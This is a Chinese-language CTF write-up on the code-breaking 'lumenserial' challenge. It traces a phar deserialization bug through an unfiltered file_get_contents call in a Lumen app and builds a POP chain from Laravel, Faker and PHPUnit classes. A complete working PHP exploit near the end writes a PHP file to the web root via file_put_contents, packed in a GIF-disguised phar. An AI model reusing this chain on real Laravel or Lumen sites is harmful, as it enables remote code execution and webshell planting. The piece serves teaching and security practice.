PHP反序列化入门之寻找POP链(一)

栏目: PHP · 发布时间: 7年前

内容简介:本文以

PHP反序列化入门之寻找POP链(一)

本文以 code-breaking lumenserial 为例,练习 PHP 反序列化 POP链 的寻找,题目地址: https://code-breaking.com/puzzle/7/

环境搭建

运行环境要求

  • PHP >= 7.1.3
  • OpenSSL PHP Extension
  • PDO PHP Extension
  • Mbstring PHP Extension

安装题目环境

PHP反序列化入门之寻找POP链(一)

运行题目代码

PHP反序列化入门之寻找POP链(一)

更多请参考: https://laravel-china.org/docs/lumen/5.7/installation/2402

PS:更新P牛制作的 docker 环境 https://github.com/phith0n/code-breaking

漏洞点

routes/web.php 文件中,定义了 web 程序的路由,当我们以 GETPOST 方法访问 http://website/server/editor 的时候,程序就会调用 app/Http/Controllers/EditorController.php 类中的 main 方法。

PHP反序列化入门之寻找POP链(一)

我们进而看 app/Http/Controllers/EditorController.php 文件,很快便会发现有一个 download 方法中的 $url 变量没有经过任何处理用在了 file_get_contents 函数中, download 方法代码如下:

PHP反序列化入门之寻找POP链(一)

这时我们便考虑 $url 变量是否可控,如果可控,便可以利用 phar反序列化 。我们回溯寻找 $url 变量来源,会发现在 doCatchimage 方法中,该变量值是从 $sources 变量来。而 $sources 变量由用户传来的 source 参数决定(通过 http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif 即可控制 $url 变量),相关代码如下:

PHP反序列化入门之寻找POP链(一)

那么接下来,我们就要寻找可利用的类方法,然后通过 phar反序列化 触发漏洞。

了解PHPGGC

在寻找 pop链 之前,我们不妨先看看 phpggc 中已有的 4种 关于 Laravel 框架 RCEpayload 生成方法,以便我们更快速的找出本题的 pop链 ,其 4种 Laravel 框架 RCEpayload 生成方法分别如下:

第1种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

第2种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

第3种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

第4种

PHP反序列化入门之寻找POP链(一)

其反序列化时,类方法调用过程如下:

PHP反序列化入门之寻找POP链(一)

这里我选取 第1种phar反序列化 执行结果图(题目环境为 PHP7.1.16 ):

PHP反序列化入门之寻找POP链(一)

然而本题目的环境还有一些额外的限制,例如 PHP 版本为 7.2.14 ,且禁用了如下函数和类(这些信息通过 phpggc 的第一个 Laravel 框架 RCE 生成 phpinfo 函数的利用 phar 即可看到):

disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

由于在 PHP7.x 版本中,很多函数禁止动态调用了,加上上面的这些限制,所以我们还需要寻找其他利用点,结合上述 POP 链,完成写 shell

开始寻找pop链

我们可以发现上面的4种 RCE 入口点都是从 PendingBroadcast 类的 __destruct 方法开始的,那么我们着重搜索 dispatch 方法和 __call 方法。经过一番搜索,发现 ValidGenerator 类中的 __call 比较好利用。

PHP反序列化入门之寻找POP链(一)

我们可以看到其代码中先调用了 call_user_func_array 函数,然后将 call_user_func_array 函数的执行结果又传入 call_user_func 函数,只要我们能控制住 call_user_func_array 函数的执行结果,相当于 call_user_func 函数的两个参数都可控,这样我们便可以调用任意类方法。

我们接着搜索可以用于控制 call_user_func_array 函数执行结果的类,这里我找到了 DefaultGenerator 类的 __call 方法,我们可以看到返回值 $this->default 完全可控。

PHP反序列化入门之寻找POP链(一)

现在 call_user_func($this->validator, $res) 中的两个参数都可控了。那么如果我们想写shell,就要调用 file_put_contents 函数,而这个函数需要两个参数,所以直接通过 call_user_func 函数是无法使用该函数的,我们需要通过 call_user_func_array 函数来使用 file_put_contents 函数,用法形如: call_user_func_array(‘file_put_contents’,array(‘shell.php’,’test’))

通过直接搜索 call_user_func_array 函数,我们会发现两个比较好利用的类函数。但是这里的第一个 ClosureWrapper 类我们无法利用,所以得利用 ReturnCallback 类的 invoke 方法,具体代码如下:

PHP反序列化入门之寻找POP链(一)

很明显 invoke 方法两个参数都可控,现在我们只要构造好一个 Invocation 类对象即可。通过搜索,我们会发现 Invocation 是一个接口,那么我们找到他的实现类即可。这里我找到了 StaticInvocation 类来实现上诉功能,其代码具体如下:

PHP反序列化入门之寻找POP链(一)

这样子,我们的整个 POP链 就构造好了。下面是 exp

<?php
namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct($events, $event){
            $this->events = $events;
            $this->event = $event;
        }
    }
};
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default = null){
            $this->default = $default;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        // __call方法中有call_user_func_array、call_user_func
        public function __construct($generator, $validator = null, $maxRetries = 10000)
        {
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
};
namespace PHPUnitFrameworkMockObjectStub{
    class ReturnCallback
    {
        private $callback;
        public function __construct($callback)
        {
            $this->callback = $callback;
        }
    }
};
namespace PHPUnitFrameworkMockObjectInvocation{
    class StaticInvocation{
        private $parameters;
        public function __construct($parameters){
            $this->parameters = $parameters;
        }
    }
};
namespace{
    $function = 'file_put_contents';
    $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
    $staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters);
    $returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function);
    $defaultgenerator = new FakerDefaultGenerator($staticinvocation);
    $validgenerator = new FakerValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
    $pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($validgenerator,123);
    $o = $pendingbroadcast;
    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
};

?>

最后

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

PHP反序列化入门之寻找POP链(一)


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Security, Privacy and Commerce, 2nd Edition

Web Security, Privacy and Commerce, 2nd Edition

Simson Garfinkel / O'Reilly Media / 2002-01-15 / USD 44.95

Since the first edition of this classic reference was published, World Wide Web use has exploded and e-commerce has become a daily part of business and personal life. As Web use has grown, so have ......一起来看看 《Web Security, Privacy and Commerce, 2nd Edition》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具